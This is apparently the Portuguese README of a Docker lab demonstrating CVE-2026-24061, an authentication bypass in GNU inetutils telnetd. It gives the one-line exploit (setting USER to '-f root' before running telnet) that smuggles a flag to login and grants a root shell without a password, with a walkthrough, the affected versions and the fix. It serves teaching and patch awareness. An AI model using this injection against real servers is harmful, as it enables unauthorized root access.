
Este é um PoC simples que permite destacar a gravidade da vulnerabilidade Telnet ativa e explorada que está ocorrendo neste momento. Por que as pessoas ainda usam Telnet... não sei.
Um laboratório Docker para demonstrar a CVE-2026-24061 — uma vulnerabilidade crítica de bypass de autenticação no GNU inetutils telnetd que ficou sem correção por 11 anos.
O Telnetd passa a variável de ambiente USER diretamente para o /usr/bin/login sem sanitização. O binário login possui uma flag -f que ignora a autenticação (destinada a sessões pré-autenticadas). Ao definir USER='-f root', um atacante engana o login para conceder acesso root sem senha.
Versões afetadas: GNU inetutils 1.9.3 (março de 2015) até 2.7 Pontuação CVSS: 9.8 (Crítico) Correção: Atualize para inetutils 2.8+
# Construir a imagem
docker build -t telnetd-exploit .
# Executar o contêiner (abre um shell como user1)
docker run --rm -it telnetd-exploit
# Exploração — obtenha root sem senha
USER='-f root' telnet -a localhost
Você cairá em um shell root. Execute whoami para confirmar.
1. O cliente conecta com: USER='-f root' telnet -a localhost
2. O telnetd recebe a variável de ambiente USER: "-f root"
3. O telnetd executa: /usr/bin/login -f root
4. O login interpreta -f como "ignorar autenticação, usuário já verificado"
5. O atacante obtém shell root — sem necessidade de senha
A flag -f é legítima — ela existe para cenários em que o usuário já está autenticado (por exemplo, a partir de uma sessão local confiável). O bug é que o telnetd não sanitiza a variável USER antes de passá-la ao login, permitindo que atacantes remotos injetem a flag.
Em janeiro de 2026:
Mesmo sem esse bug, o Telnet transmite tudo em texto puro — incluindo senhas. Use SSH em vez disso.
| Protocolo | Criptografia | Autenticação |
|---|---|---|
| Telnet | Nenhuma | Texto puro |
| SSH | Sim | Chave/Senha |
.
├── Dockerfile # Constrói contêiner Debian vulnerável
├── docker-entrypoint.sh # Inicia o inetd, faz downgrade para user1
└── README.md
Laboratório baseado em leonjza/inetutils-telnetd-auth-bypass